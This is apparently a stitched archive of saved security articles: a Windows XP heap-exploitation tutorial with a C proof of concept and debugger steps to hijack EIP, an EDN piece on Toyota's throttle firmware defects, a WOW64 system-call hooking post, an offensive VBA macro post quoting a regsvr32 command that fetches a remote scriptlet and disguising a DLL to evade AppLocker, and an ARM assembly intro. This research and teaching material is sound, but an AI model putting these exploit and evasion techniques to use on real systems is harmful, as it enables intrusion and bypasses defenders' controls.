[/code]

However, if you had a generic write4 or can overwrite the flink of a lookaside
list chunk and return it, you could overwrite the pointer itself.
heapbase+0x57c->heapbase+0×608->RtlCommitRoutime. Assuming the heapbase is
0×0049 you would simply set the flink to 0×00490608 and write arbitray code at
that location.

#### How did I fail?

To begin with we need to pass two checks starting at 0x7C90100B.

<img src='img/Temp2_3707.png' width='300' height='40' alt='Checking the lock
variable and setting it' />

Figure 17 - Checking the lock variable and setting it

We can pass the checks by using a pointer to 0xffffffff00000000 in the lock
variable offset in the heap structure \(we can set from the heap overflow\).
Then there is a check to see if there are no free chunks in FreeList\[0\].

<img src='img/Temp2_3701.png' width='300' height='133' alt='A check to make
sure there are no available chunks in freelist 0' />

Figure 21 - A check to make sure there are no available chunks in freelist 0

Next we move into more code that checks offsets 0×668 \(my guess is that it is
referencing the FrontEndHeapType\) and 0×654 for particular values. However Im
suspicious that these offsets are wrong due to EAX’s value was possibly wrong
\(0×00490640\).

<img src='img/Temp2_3698.png' width='300' height='83' alt='Checking unknown
structures' />

Figure 18 - Checking unknown structures

Eventually if we pass that, we call sub\_7C918AE3

<img src='img/Temp2_3695.png' width='300' height='160' alt='Bypass some
unknown checks' />

Figure 19 - Bypass some unknown checks in the heap structure

in sub\_7C918AE3, we can see a few more checks at potentially wrong offsets
into the heap structure:

<img src='img/Temp2_3709.png' width='300' height='157' />

Figure 20 - More checks on pointers to a page size \(0x1000\) and checking
that RtlCommitRoutine pointer is not NULL

Then, we land in code that should execute our ‘shellcode’:

<img src='img/Temp2_3684.png' width='300' height='169' alt='eip blown away in
a perfect world' />

Figure 22 - eip blown away in a perfect world

Of course this is just one code path and I have not done analysis to determine
other code paths however a quick glance reveals just two calls to the function
that should execute our modified pointer and both code paths will originally
start from RtlAllocateHeap.

<img src='img/Temp2_3690.png' width='300' height='173' alt='Code paths for the
function that reads the RtlCommitRoutine pointer and trys executing it' />

Figure 23 - Code paths for the function that reads the RtlCommitRoutine
pointer and trys executing it

#### A possible solution

Thinking of many ways to try and overcome these hurdles I thought of a
possible solution: We could just allocate/fill the buffer right up until we
hit the RtlCommitRoutine pointer and go no further.

Whilst this will still smash several pointers, it does provide hope because
theoretically we would only need to ensure that FreeList\[0\] is empty and
replace the lock variable that we smashed along with the pointer to itself at
heapbase+0×570 -> heapbase+0×570. Remember, the heapbase may not necessarily
contain null bytes in a real example.

If we inspect the FreeList a little further we will notice that at a certain
size, we can make an allocation that will smash the rest of the FreeList and
only **JUST** overwrite the pointers.

Heap dump 0×00490000, item 75  
Address=0×00490380  
Chunks=\[041\] 0×00490380 -> \[ 0x00490380 | 0x00490380 \]
For example the calculated size for this entry is 0×41 \* 8 – 8 = 0×200 or 512
bytes  
maxiumum size for allocation: 512

Now the distance between 0x0049057c \(RtlCommitRoutine pointer\) and
0×00490380 \(FreeList\[41\] chunk addr\) is 508 bytes yet if we allocate from
FreeList\[41\] we can fill the buffer up to 512 bytes so essentially we would
only **JUST** allocate and write over the pointer at offset 0x57c of the heap
base

Of course we would need to repair the pointer at 0×578 and the pointer at
0×570, but it certainly looks like a viable option.

**Update** : Turns out the theory actually works \! You do have to ensure that
the fake chunks header has the right value for the chunk flag and current size
accordingly. If you have the ability to create arbitrary allocations and free
them, then you can keep placing chunks into FreeList\[40\] until you get one
that fits your requirements \(free and pray?\).

<img src='img/Temp2_3713.png' width='278' height='65' alt='Requirements:
current size and chunk flag must fail the check' />

Figure 24 - Requirements: current size must be correct and chunk flag must
fail the check \(test cl,0x10\)

Bingo:

<img src='img/Temp2_3702.png' width='300' height='181' alt='EIP' />

Figure 25 - EIP

### The attack by example

So here is my contrived example of FreeListInUse.c where you can compile it
and follow along\! Download the code and compile it with your favorite
compiler. I just use Dev c++ **Note** : You may not get this working \(try to
understand why\).

[code]

    
    /*
        FreeListInUse bitmap flip example
        technique by Nicolas Wiseman
        PoC example by Steven Seeley
    
        Note: we have to play around with a few more allocations/frees than I wanted to
        due to the lookaside. Np this is just an example..
    
    */
    #include <stdio.h>
    #include <windows.h>
    int main(int argc,char *argv[])
    {
        char *a,*b,*c,*d,*e,*f,*g,*h,*i,*j,*k,*l,*m,*trigger;
        char *x, *y, *w, *u, *z, *q, *o;
        long *hHeap;
    
        hHeap = HeapCreate(0x00040000,0,0);
    
        a = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,16);
        b = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,16);
        c = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,16);
        d = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,16);
    
        e = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,16);
        f = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,16); // forces onto freelist[0x3] because two busy chunks exist around the chunk
        g = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,16);
    
        // allocate for freelist[0x7b]
        z = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,976);
        x = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,976);
        y = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,976);
        w = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,976);
    
        q = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,976);
        u = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,976); // forces onto freelist[0x7b] because two busy chunks exist around the chunk
        o = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,976);
    
        // fill lookaside[0x3]
        HeapFree(hHeap, 0, a);
        HeapFree(hHeap, 0, b);
        HeapFree(hHeap, 0, c);
        HeapFree(hHeap, 0, d);
    
        // insert into freelist[0x3]
        HeapFree(hHeap, 0, f);
    
        printf("(+) Chunk e: 0x%08x\n",e);
        printf("(+) Fill chunk e (using 16 bytes), overflowing into chunk f (0x%08x) by 1 byte:\n",e);
        printf("(+) Overflow with size 0x7c (AAAAAAAAAAAAAAAA|)...\n");
        gets(e);
    
        // remove the chunks on the lookaside
        h = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,16);
        i = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,16);
        j = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,16);
        k = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,16);
    
        // this is where we flip the bitmap. FreelistInUse [0x7c] = 1
        l = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,16);
    
        // fill lookaside[0x7b]
        HeapFree(hHeap, 0, z);
        HeapFree(hHeap, 0, x);
        HeapFree(hHeap, 0, y);
        HeapFree(hHeap, 0, w);
    
        // insert into freelist[0x7b]
        HeapFree(hHeap, 0, u);
    
        // return the chunk that points to itself in freelist[0x7c], so we can overwrite management structures...
        m = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,984);
    
        printf("(+) Fill chunk m and destroy the management structure:\n");
        gets(m);
    
        // force the heap to be extended triggering RtlCommitRoutine
        trigger = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,4096);
    
        exit(0);
    }
    
    
[/code]

Start by opening the binary in immunity debugger and setting a breakpoint on
0x004016C4 and 0×00401612 \(both calls to HeapAlloc\) and run ‘\!hidedebug
ZwQueryInformationProcess’

<img src='img/Temp2_3685.png' width='300' height='242' alt='bp on the last
HeapAlloc call and hide the debugger' />

Figure 26 - bp on the last HeapAlloc call and hide the debugger

When analysing the FreeListInUse and the FreeList\[n\] we can see that the
entry for 0×3 is set with free chunks. Take note of the size value x010.

<img src='img/Temp2_3708.png' width='300' height='142' alt='Freelist 0x3 entry
is set' />

Figure 27 - Freelist 0x3 entry is set

We are going to overwrite that chunk’s size \(one byte overwrite\) and then
allocate from it. This will flip the corrosponding size FreeListInUse entry
with that of the value that we overwrote with.

Enter 16 ascii bytes followed by a “|”. Example: AAAAAAAAAAAAAAA|. We are
going to overwrite the size value with “\x7c” and press enter. You should hit
your first breakpoint at 0×00401612.

<img src='img/Temp2_3718.png' width='300' height='120' alt='Hitting the first
BP' />

Figure 28 - Hitting the first BP

Now lets inspect the chunks again. Note that at this stage the FreeListInUse
entry for 0x7c is still 0 but we have overwritten the size value in chunk
located at FreeList\[0x3\]:

<img src='img/Temp2_3705.png' width='300' height='85' alt='Overwitten size
value, opps' />

Figure 29 - Overwitten size value, opps

Pressing f8, we step over the HeapAlloc\(\) and view the FreeList and
FreeListInUse table and we notice that the FreeListInUse entry for 0×3 is set
and yet no chunks exist for it:

<img src='img/Temp2_3715.png' width='300' height='78' alt='FreeListInUse 0x3
entry has been flipped!' />

Figure 30 - FreeListInUse 0x3 entry has been flipped\!

Yet our goal was to flip the bit for 0x7c, so lets see if that has been
flipped:

<img src='img/Temp2_3693.png' width='300' height='81' alt='FreeListInUse entry
0x7c has been flipped!' />

Figure 31 - FreeListInUse entry 0x7c has been flipped\!

Now at our second break point, the code will try and allocate from entry 0x7c.
But this will fail unless we free a chunk just before the 0x7c entry. Run the
application now and you will see a chunk Freed into 0x7b after hitting your
breakpoint at 0x004016c4. You can bet its corresponding FreeListInUse is set
as well.

<img src='img/Temp2_3717.png' width='300' height='53' alt='We must insert a
chunk before the flipped entry we are allocating from' />

Figure 32 - We must insert a chunk before the flipped entry we are allocating
from

Now press f8 and step over the function call. You should see the EAX value set
to 0×00490558 \(FreeList\[0x7c\] itself\!\).

<img src='img/Temp2_3710.png' width='300' height='111' alt='Returning
0x00490588 back from the heap manager!' />

Figure 33 - Returning 0x00490558 back from the heap manager\!

Now all there is left to do is overwrite the RtlCommitRoutine located at
offset 0x57c. 0x57c-0×558 = 36 bytes + 4 bytes to control the pointer. Note
that as soon as you do the allocation, you destroy all the pointers from
offset 0×558:

<img src='img/Temp2_3697.png' width='161' height='300' alt='Destroyed heap
structure already' />

Figure 34 - Destroyed heap structure already

But lets just overwrite the structure with our gets\(\) anyway using “\x41″ \*
36 + “\x44″ \* 4 setting the pointer to be all D’s:

<img src='img/Temp2_3700.png' width='300' height='157' alt='Overwritten heap
management structure with our controlled code' />

Figure 35 - Overwritten heap management structure with our controlled code

At this point, you are suppose to trigger a heap extension \(commit more
memory from the heap segment\). This is easily done by triggering a
HeapAlloc\(\) with a size that is greater than any chunk in FreeList\[0\]. You
of course cannot allocate any size chunk from the FreeList\[n\] after 0x7c as
these no longer exists.

I have not provided all the answers in this walk through because I want
readers to think on their feet and understand why it will not work exactly
with the code I presented above. Hint: look at the **size** \(I mentioned it
as a possible solution\)

### Conclusion

Whilst the FreeListInUse bitmap flip attack is a amazing technique, it does
present many hurdles for the attacker. No doubt in the right circumstance, it
would be a perfect way to attack the heap allocator and overwrite management
structures. The real hurdle is ensuring that the fake header contains the
correct size and flag value.

Although the attack is tricky to execute, it provides a little more than other
application specific heap attacks, because you don’t actually need a heap
overflow for this attack to work.

A big thanks goes to Nicolas Waisman for discovering this technique and fine
tunning my understanding of it. Also a big shout out and thanks to Brett Moore
for his excellent research and detail in ‘Heaps about Heaps’.

Last but not least you can download an updated and managed version of \!heaper
as I go through and make the tutorials I will update the code.

git clone git@github.com:mrmee/heaper.git

### References:

  * Abusing the bitmask – http://h2hc.org.br/repositorio/2009/files/Nicolas.en.pdf
  * Heaps about Heaps – http://www.insomniasec.com/publications/Heaps\_About\_Heaps.ppt

# Toyota's killer firmware: Bad design and its consequences | EDN
**Created:**| _10/30/2013 8:35:57 AM_  
---|---  
**Updated:**| _10/30/2013 8:35:57 AM_  
**Author:**| __  
**Tags:**| _opinion bughunting_  
  

# **T** oyota's killer firmware: Bad design and its consequences****

Michael Dunn  \- October 28, 2013

39 Comments

On Thursday October 24, 2013, an Oklahoma court ruled against Toyota  in a
case of unintended acceleration that lead to the death of one the
occupants**.** Central to the trial was the Engine Control Module's \(ECM\)
firmware**.**

Embedded software used to be low-level code we'd bang together using C or
assembler**.** These days, even a relatively straightforward, albeit critical,
task like throttle control is likely to use a sophisticated RTOS and tens of
thousands of lines of code**.**

With all this sophistication, standards and practices for design, coding, and
testing become paramount – especially when the function involved is safety-
critical**.** Failure is not an option**.** It is something to be contained
and benign.

So what happens when an automaker decides to wing it and play by their own
rules**?** To disregard the rigorous standards, best practices, and checks and
balances required of such software \(and hardware\) design**?** People are
killed, reputations ruined, and billions of dollars are paid out**.** That's
what happens. Here's the story of some software that arguably never should
have been**.**

For the bulk of this research, EDN consulted Michael Barr, CTO and co-founder
of Barr Group , an embedded systems consulting firm, last week**.** As a
primary expert witness for the plaintiffs, the in-depth analysis conducted by
Barr and his colleagues illuminates a shameful example of software design and
development, and provides a cautionary tale to all involved in safety-critical
development, whether that be for automotive, medical, aerospace, or anywhere
else where failure is not tolerable**.** Barr is an experienced developer,
consultant, former professor, editor, blogger , and author **.**

Barr's ultimate conclusions were that:

  * Toyota’s electronic throttle control system \(ETCS\) source code is of unreasonable quality**.**
  * Toyota’s source code is defective and contains bugs, including bugs that can cause unintended acceleration \(UA\)**.**
  * Code-quality metrics predict presence of additional bugs**.**
  * Toyota’s fail safes are defective and inadequate \(referring to them as a _“house of cards” safety architecture\)**.**_

  * Misbehaviors of Toyota’s ETCS are a cause of UA**.**

A damning summary to say the least**.** Let's look at what lead him to these
conclusions:

**Hardware**

Although the investigation focused almost entirely on software, there is at
least one HW factor: Toyota claimed the 2005 Camry's main CPU had error
detecting and correcting \(EDAC\) RAM**.** It didn't. EDAC, or at least parity
RAM, is relatively easy and low-cost insurance for safety-critical systems.

Other cases of throttle malfunction have been linked to tin whiskers in the
accelerator pedal sensor**.** This does not seem to have been the case here.

<img src='img/Temp2_8427.jpg' />

The Camry ECM board**.** U2 is a NEC \(now Renesas\) V850 microcontroller.

**Software**

The ECM software formed the core of the technical investigation**.** What
follows is a list of the key findings.

Mirroring \(where key data is written to redundant variables\) was not always
done**.** This gains extra significance in light of …

Stack overflow**.** Toyota claimed only 41% of the allocated stack space was
being used**.** Barr's investigation showed that 94% was closer to the
truth**.** On top of that, stack-killing, MISRA-C  rule-violating recursion
was found in the code, and the CPU doesn't incorporate memory protection to
guard against stack overflow**.**

Two key items were not mirrored: The RTOS' critical internal data structures;
and—the most important bytes of all, the final result of all this firmware—the
TargetThrottleAngle global variable**.**

Although Toyota had performed a stack analysis, Barr concluded the automaker
had completely botched it**.** Toyota missed some of the calls made via
pointer, missed stack usage by library and assembly functions \(about 350 in
total\), and missed RTOS use during task switching**.** They also failed to
perform run-time stack monitoring**.**

Toyota's ETCS used a version of OSEK , which is an automotive standard RTOS
API**.** For some reason, though, the CPU vendor-supplied version was not
certified compliant**.**

Unintentional RTOS task shutdown was heavily investigated as a potential
source of the UA**.** As single bits in memory control each task, corruption
due to HW or SW faults will suspend needed tasks or start unwanted ones**.**
Vehicle tests confirmed that one particular dead task would result in loss of
throttle control, and that the driver might have to _fully remove their foot
from the brake during an unintended acceleration event_ before being able to
end the unwanted acceleration**.**

A litany of other faults were found in the code, including buffer overflow,
unsafe casting, and race conditions between tasks**.**

****

_Seite 2_

**Thousands and thousands**

The Camry ETCS code was found to have 11,000 global variables**.** Barr
described the code as “spaghetti.” Using the Cyclomatic Complexity  metric, 67
functions were rated untestable \(meaning they scored more than 50\)**.** The
throttle angle function scored more than 100 \(unmaintainable\)**.**

Toyota loosely followed the widely adopted MISRA-C coding rules but Barr’s
group found 80,000 rule violations**.** Toyota's own internal standards make
use of only 11 MISRA-C rules, and five of those were violated in the actual
code**.** MISRA-C:1998, in effect when the code was originally written, has 93
required and 34 advisory rules**.** Toyota nailed six of them.

Barr also discovered inadequate and untracked peer code reviews and the
absence of any bug-tracking system at Toyota**.**

NASA, which was involved in an earlier investigation , discussed in its report
the five fail-safe modes implemented in the ETCS**.** They comprise three
limp-home modes, RPM limiting, and finally, engine shutdown**.** All fail-
safes are handled by the same task. What if that task dies or
malfunctions**?**

**Watchdog**

Many embedded systems use watchdog timers to rein in errant processors; in
safety-critical systems, they're mandatory**.** But as systems increase in
complexity, the watchdog subsystem must mirror that complexity**.**

Ideally in a multitasking system, every active task should be required to
"check in" to the watchdog**.** In the Toyota ETCS, the watchdog was satisfied
by nothing more than a timer-tick interrupt service routine \(ISR\)**.** A
slow tick. If the ISR failed to reset the watchdog, the ETCS could continue to
malfunction due to CPU overload for up to 1**.** 5s before being reset. But
keep in mind that for the great majority of task failure scenarios, the ISR
would continue happily running along without resetting the controller**.**

It was also found that most RTOS error codes indicating problems with tasks
were simply ignored – a definite MISRA-C violation**.**

**Who watches the watcher?**

Toyota's ETCS board has a second processor to monitor the first**.** The
monitor CPU is a 3rd-party part, running firmware unknown to Toyota, and
presumably developed without any detailed knowledge of the main CPU's
code**.**

This is potentially a good thing, as it would be a truly independent
overseer**.** This chip communicates with the main CPU over a serial link, and
also contains the ADC that digitizes the accelerator pedal position**.**

Anyone working with safe systems knows that single points of failure are to be
avoided at almost any cost, yet here is one – the single ADC that feeds both
CPUs their vehicle state information**.**

Also, the failsafe code in this monitor CPU relies on the proper functioning
of a main CPU task Barr identified to the jury only as "Task X" \(due to
secrecy rules surrounding the source code itself\), an arguably outsize task
handling everything from cruise-control to diagnostics to failsafes to the
core function of converting pedal position to throttle angle**.** Task X could
be viewed as another single point of failure**.**

**Resolutions**

What can be learned from this story of software gone wrong**?** Here are some
thoughts, inspired by Toyota's experience:

  * It all starts with the engineering culture**.** If you have to fight to implement quality, or conversely, if others let you get away with shoddy work, quality cannot flourish**.** The culture must support proper peer review, documented rule enforcement, use of code-quality tools and metrics, etc**.**
  * In complex systems, it's impossible to test all potential hardware- and software-induced failure scenarios**.** We must strive to implement all possible best practices, and use all the tools at our disposal, to create code that is failure-resistant _by design_**.**
  * Use model-based design  where suitable**.**
  * Use tools with the proper credentials, not an uncertified RTOS as was done here**.**
  * The system must undergo thorough testing by a separate engineering team**.** Never make the mistake of testing your own design**.** \(To be true, Toyota's overall test strategy was not specifically described**.**\)
  * The underlying hardware must work with the firmware to support reliability goals:

  * Single points of failure, in HW and SW, must be avoided**.**
  * Architectural techniques that contribute to reliability, such as lockstep CPUs, EDAC memory, properly implemented watchdogs, MMU to implement full task isolation and protection, must be implemented**.**
  * A thorough FMEA to characterize failure modes and guide design improvements should be employed**.**

Are you involved with safety-critical devices**?** If so, are you satisfied
with the quality processes and culture at your company**?** What are your
thoughts on Toyota’s design work and the investigation’s findings**?**

**Also see** :

**Resources** :

****

# Hooking 32bit System Calls under WOW64

**Created:**| _5/17/2011 7:50:36 AM_  
---|---  
**Updated:**| _5/17/2011 7:50:36 AM_  
**Author:**| __  
**Tags:**| _windows kernel x64 hooks_  
  

# Hooking 32bit System Calls under WOW64

While hooking code in userland seems to be fairly common for various purposes
\(such as sandboxing malware by API hooking\), hooking system calls is usually
not done in userland. As you can get the same information from employing such
hooks in kernelland \(just after the transition\), people usually choose to
deploy their hooks there, since they benefit from added security and stability
if implemented properly. That being said, there is one application of system
call hooking that rightfully belongs into userland: Hooking of 32bit system
calls on a native 64bit environment.

WOW64 is the emulation / abstraction layer introduced in 64bit Windows to
support 32bit applications. There are many details about it that I don't want
to cover. However for various reasons \(I'll leave it to your creativity to
find your own; I found a good one playing together with Tillmann Werner\), one
might be interested in hooking the 32bit system calls that are issued by a
32bit application running in such an environment.

On 32bit Windows XP, there used to be a function pointer within the
`KUSER_SHARED_DATA` page at offset `0x300` that pointed to the symbol
`ntdll!KiFastSystemCall` for any modern machine and was used in any system
call wrapper in `ntdll` to issue a system call:

[code]

    0:001> u poi(0x7ffe0000+0x300)
    ntdll!KiFastSystemCall:
    7c90e510 8bd4            mov     edx,esp
    7c90e512 0f34            sysenter
    ntdll!KiFastSystemCallRet:
    7c90e514 c3              ret
    7c90e515 8da42400000000  lea     esp,[esp]
    7c90e51c 8d642400        lea     esp,[esp]
    ntdll!KiIntSystemCall:
    7c90e520 8d542408        lea     edx,[esp+8]
    7c90e524 cd2e            int     2Eh
    7c90e526 c3              ret
    
[/code]

Hooking this would not make much sense, since one could gather the same data
just right after the `sysenter` within kernelland.

Now fast forward to Windows 7, 64bit with a 32bit process running on WOW64.
For the following, I will use the 64bit WinDbg version.

On this newer environment, the code executed by a system call wrapper, such as
`ntdll!ZwCreateFile` in this example, does not take any indirection through
`KUSER _SHARED_ DATA`. Instead, it calls a function pointer within the TEB:

[code]

    0:000:x86> u ntdll32!ZwCreateFile
    ntdll32!ZwCreateFile:
    77a80054 b852000000      mov     eax,52h
    77a80059 33c9            xor     ecx,ecx
    77a8005b 8d542404        lea     edx,[esp+4]
    77a8005f 64ff15c0000000  call    dword ptr fs:[0C0h]
    77a80066 83c404          add     esp,4
    77a80069 c22c00          ret     2Ch
    
[/code]

This new field is called `WOW32Reserved` and points into `wow64cpu`:

[code]

        +0x0c0 WOW32Reserved    : 0x743b2320
    
    0:000:x86> u 743b2320 L1
    wow64cpu!X86SwitchTo64BitMode:
    743b2320 ea1e273b743300  jmp     0033:743B271E
    
[/code]

This is in turn a far jmp into the 64bit code segment. The absolute address
points into the 64bit part of `wow64cpu` and sets up the 64bit stack first:

[code]

    0:000> u 743B271E
    wow64cpu!CpupReturnFromSimulatedCode:
    00000000`743b271e 67448b0424      mov     r8d,dword ptr [esp]
    00000000`743b2723 458985bc000000  mov     dword ptr [r13+0BCh],r8d
    00000000`743b272a 4189a5c8000000  mov     dword ptr [r13+0C8h],esp
    00000000`743b2731 498ba42480140000 mov     rsp,qword ptr [r12+1480h]
    
[/code]

Following this, the code will convert the system call specific parameters and
convert them to their 64bit equivalents. The code than transitions to the
original kernel code.

So the only way to grab the unmodified 32bit system calls \(and parameters\),
before any conversion is being done, is to hook this code. My first idea was
to hijack the writable function pointer inside the TEB, but that involves the
inconvenience that I need to track threads and modify it for every new thread.
Since this function pointer always points to the same location, I decided to
go for an inline function hook. In this case, the hook is very simple, since I
know that there will be one long enough instruction with fixed length
operands. However, we have to take into account SMP systems that might be
decoding this instruction while we're writing there, so it is desirable to use
a locked write. Unfortunately, there is not enough room around the instruction
to write the hook there and overwrite the original instruction with a near jmp
\(two bytes, can be written atomically with `mov` if the address is word-
aligned or `xchg` in the general case\).

Hence we need to write our five bytes with one single locked write. There is
\(at least?\) one instruction on x86 in 32bit mode which can do that:
`cmpxchg8b`. Reading the processor manual, it gets obvious that we can abuse
this to do an unconditional write if we just execute two subsequent
`cmpxchg8b` in a row \(assuming that no one else is writing there
concurrently\):

[code]

    asm("cmpxchg8b (%6)\n\tcmpxchg8b (%6)"
        : "=a" (* (DWORD *) origTrampoline), "=d" (* (DWORD *) &origTrampoline;[4])
        : "a" (* (DWORD *) trampoline), "d" (* (DWORD *) &trampoline;[4]),
        "b" (* (DWORD *) trampoline), "c" (* (DWORD *) &trampoline;[4]),
        "D" (fnX86SwitchTo64BitMode));
    
[/code]

One can read out the original jump destination in between those two
instructions from `edx:eax` to hotpatch your hook before it is eventually
inserted. This is especially useful when a debugger is attached, as single-
stepping results in the syscall trampoline being silently executed \(this is
great for debugger detection\). The hook can then just end in the same `jmp
far 0x33:??` that was present at `X86SwitchTo64BitMode`, one just needs to
preserve `esp` and `eax`.

Happy hooking\!

# exploiting the way that VBA can interact with DLLs

**Created:**| _5/20/2017 8:56:17 PM_  
---|---  
**Updated:**| _5/24/2017 2:42:28 PM_  
**Author:**| __  
**Tags:**| _Malware-analysis scripting macros_  
  

  

# Introduction

Much of the recent research around the use of DLLs within VBA has focused on a
narrow subset of its functionality; in particular, how it can be used to
inject shellcode into currently running processes. This post details some
additional techniques for exploiting the way that VBA can interact with DLLs
to improve offensive macro capability. The techniques described are:

  1. Using DLLs that already exist on disk – performing Casey Smith’s \(@SubTee\) regsvr32 technique without regsvr32.
  2. Using DLLs that you store on disk – “impersonating” legitimate files that an Office program would already store to disk, but which are really DLLs.

# Remote COM Scriptlets Without regsvr32

One of the application whitelisting bypass techniques identified by Casey
Smith involves the Microsoft signed binary regsvr32. regsvr32 is used for
registering and unregistering OLE controls \(e.g., DLLs and ActiveX\).

In brief, regsvr32 can retrieve a remotely hosted COM scriptlet over HTTP,
which can contain code that gets executed on registration or unregistration.
One quirk of regsvr32 is that registration and unregistration can be performed
at the same time, so nothing is left registered after regsvr32 exits.

As it is a Microsoft signed binary it can be used to bypass application
whitelisting. For this reason, along with its ability to host its core payload
in a second stage, it has become increasingly popular with attackers. The
command put forward by Casey Smith for using regsvr32 in this manner is as
follows:

[code]

    regsvr32 /s /n /u /i:http://someinconspicuoussite.com/file.sct scrobj.dll
[/code]

The "/u /i:..." flags with regsvr32 say call an exported DLL function within
scrobj.dll named DllInstall \("/i"\) and then unregister it \("/u"\). Given
that there is two flags, it would be reasonable to assume that this is two
actions; however, this is not the case. It is important to note firstly that
DllInstall is different to DllRegisterServer which is more commonly used. The
two are similar in functionality, but the former is able to take a pointer to
a string as an argument to enable a "customised", non-generic registration.
This string is the argument of “/i”. In the case of scrobj.dll, this string
can point to a HTTP resource containing the COM scriptlet. The unregistration
component of this command involves simply setting a boolean argument to false
when DllInstall is called which changes the context of its functionality to
"uninstall". regsvr32 is therefore only acting as a front end for calling
exported functions in DLLs.

Through declaring a single function in VBA that maps to the exported
DllInstall function in scrobj.dll, we can mimic regsvr32’s functionality. This
exported function requires two parameters: false \(uninstall\), and the
pointer to the string with the URL of the COM scriplet.

<img src='img/Temp2_10186.jpg' width='600' height='104' alt='scrobj no
regsvr32' />

The result is command execution, but most importantly, no command line event
logs for regsvr32 use, as it doesn't get executed. This has significant
benefits for an attacker, as event logs for regsvr32 which contain a parameter
containing a remote resource, are a strong indicator of malicious activity for
security monitoring teams.

An attacker will still need to spawn a new process or inject into an existing
process using the second stage otherwise any C2 channel will be lost as soon
as the Office program is closed. This cannot be avoided; however, that’s done
already, for example, within standard regsvr32 payloads in Cobalt Strike, so
these can just be used directly within the VBA function call.

# Storing Seemingly “Legitimate” Office Files That Are Really DLLs

Placing files on the disk increases the risk of detection as such files are
typically anomalous to what the process would normally be creating. However,
using VBA it is possible to create and interact with a DLL that is a seemingly
legitimate file \(from casual observation\) for the Office program. Two things
are key to this technique.

First, the DLL should be stored in a location where the Office program process
would be creating files as part of normal practice. In the example below, a
Word macro is used to store a DLL where auto recovery files are stored
\(“%appdata%\Microsoft\Word”\). Such files are created when Word crashes. More
importantly, however, the file stored here should use the same files name and
extension that an auto recovery file would \(e.g., “AutoRecovery save of
Document3.asd”\). It is possible to name the file in this manner because Word
does not whitelist valid extensions for DLLs.

Second, interacting with a custom DLL is problematic, as VBA requires that
function definitions that are mapped to exported functions in DLLs are defined
at the beginning of a module prior to any other code, and the DLL must already
exist at definition time \(which cannot be the case if the VBA code itself
stores it to disk\). It is possible to get around this using a second VBA
module that contains the definition. The first module creates the DLL and then
invokes a subroutine in the second module, which accesses the exported DLL
function. An obstacle that must be overcome as part of this process is loading
the DLL from a location seemingly outside of the ordinary DLL search path.
When referencing the stored DLL in the function definition you cannot specify
an absolute path \(as you do not know the victim’s username beforehand\) and
the path cannot contain environment variables \(e.g., “%appdata%”\). You are
therefore limited to specifying the filename as though it is in the current
working directory, which is not where it was stored. To circumvent this there
is a VBA function that allows you to change VBA’s perceived working directory,
which does accept environment variables. This is invoked in the first module,
and the modified working directory persists when the second module is called.
The DLL is can then be loaded when required in a manner that follows that
standard search path.

To summarise, the first module retrieves and stores the DLL to disk with a
filename and non-DLL extension that impersonates a file that the process would
normally create, and then changes VBA’s current working directory to where the
DLL was stored. The example below shows Word retrieving the file over HTTP. It
could be included in the body of the VBA itself, but for code simplicity, and
for testing purposes, it’s described here as being over HTTP. This is shown
below with detailed comments provided inline.

<img src='img/Temp2_10188.jpg' width='529' height='639' alt='acd dll 1' />

The second module is the one that invokes the exported function from the DLL.
The modified current working directory is carried over to the second module,
and the DLL is referenced without specifying an absolute path. A subroutine
can then call the exported function \(here "Run"\).

<img src='img/Temp2_10187.jpg' width='600' height='195' alt='acd dll 2' />

In the example above, it was being used to find a way to get Unmanaged
PowerShell working through VBA, but the DLL could conceivably contain any
payload in the exported function.

It should also be noted that neither Software Restriction Policies \(SRPs\)
nor AppLocker's "DLL Rules" with default rulesets will protect against this.
SRPs work on the basis of blacklisted file extensions, and AppLocker's "DLL
Rules" is limited to two file extensions \(".dll" and ".ocx"\). In the case of
SRPs this approach could not be blocked without breaking auto recovery
functionality, and in the case of AppLocker, the extension used does not match
those covered by "DLL Rules".

# Defensive Measures

Although the techniques presented above provide a means for attackers to avoid
certain protective and detective controls, there continues to be many
opportunities for detection.

From the endpoint perspective, command line event logs remain important. The
first technique presented here may circumvent controls looking for anomalous
regsvr32 use; however, it is conceivable that activities within the second
stage may leave artefacts. Furthermore, deploying Endpoint Detection and
Response \(EDR\) solutions with strong memory analysis capabilities will aid
in detecting second stage payloads that use techniques such as DLL injection
to persist within other processes.

From the network perspective, it is also possible to detect such attacks,
although this will require deep packet inspection. COM scriptlets, for
example, are not required to have the standard “.sct” extension, but can use
common alternatives such as “.ico” for Favicon images, while downloaded DLLs
as used in the second technique, can be named using filetypes such as “.js”
for JavaScript. It is therefore recommended that detective capability built
around traffic analysis looks beyond simplistic indicators such as filename
extensions and MIME types.

  

# Writing ARM Assembly \(Part 1\)

**Created:**| _9/4/2017 9:39:23 AM_  
---|---  
**Updated:**| _9/4/2017 9:39:23 AM_  
**Author:**| _wishi_  
**Tags:**| _arm_  
  

  

Introduction to ARM Assembly Basics

Welcome to this tutorial series on ARM assembly basics. This is the
preparation for the followup tutorial series on ARM exploit development.
Before we can dive into creating ARM shellcode and build ROP chains, we need
to cover some ARM Assembly basics first.

The following topics will be covered step by step:

ARM Assembly Basics Tutorial Series:  
Part 1: Introduction to ARM Assembly  
Part 2: Data Types Registers  
Part 3: ARM Instruction Set  
Part 4: Memory Instructions: Loading and Storing Data  
Part 5: Load and Store Multiple  
Part 6: Conditional Execution and Branching  
Part 7: Stack and Functions

To follow along with the examples, you will need an ARM based lab environment.
If you don’t have an ARM device \(like Raspberry Pi\), you can set up your own
